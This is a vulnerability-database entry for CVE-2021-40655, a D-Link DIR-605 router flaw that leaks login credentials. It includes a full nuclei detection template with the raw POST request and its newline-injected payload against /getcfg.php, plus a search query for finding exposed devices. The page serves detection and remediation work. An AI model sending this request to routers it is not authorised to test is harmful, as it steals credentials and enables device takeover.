HexBrain

Browse / CVEs / CVE-2021-40655

CVE-2021-40655· dlink / dir-605l firmware· CWE-863

D-Link DIR-605 - Information Disclosure

Exploited in the wild. Listed by CISA on 2024-05-16; known to be used by ransomware.

highseverity
7.5CVSS score
87%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page

Impact

Unauthenticated attackers can obtain router credentials including usernames and passwords by exploiting information disclosure in the getcfg.php endpoint.

Fix

Apply firmware updates provided by D-Link or replace the device with a supported model.

How to confirm it

Send: POST /getcfg.php
Positive when: status_code == 200 and contains(content_type, "text/xml") and contains(body, "DEVICE.ACCOUNT")

Run it with nuclei: nuclei -id CVE-2021-40655 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-40655

info:
  name: D-Link DIR-605 - Information Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page
  impact: |
    Unauthenticated attackers can obtain router credentials including usernames and passwords by exploiting information disclosure in the getcfg.php endpoint.
  remediation: |
    Apply firmware updates provided by D-Link or replace the device with a supported model.
  reference:
    - https://nvd.nist.gov/vuln/detail/cve-2021-40655
    - https://github.com/Ilovewomen/D-LINK-DIR-605/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40655
    cwe-id: CWE-863
    epss-score: 0.87039
    epss-percentile: 0.9975
    cpe: cpe:2.3:o:dlink:dir-605l_firmware:2.01mt:*:*:*:*:*:*:*
  metadata:
    vendor: dlink
    product: dir-605l_firmware
    fofa-query: body="l_tb>DIR-605"
    max-request: 1
  tags: cve,cve2021,dlink,kev,dir-605,info-leak,vkev,vuln

http:
  - raw:
      - |
        POST /getcfg.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie:
        X-Forwarded-For: 127.0.0.1

        SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "DEVICE.ACCOUNT")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from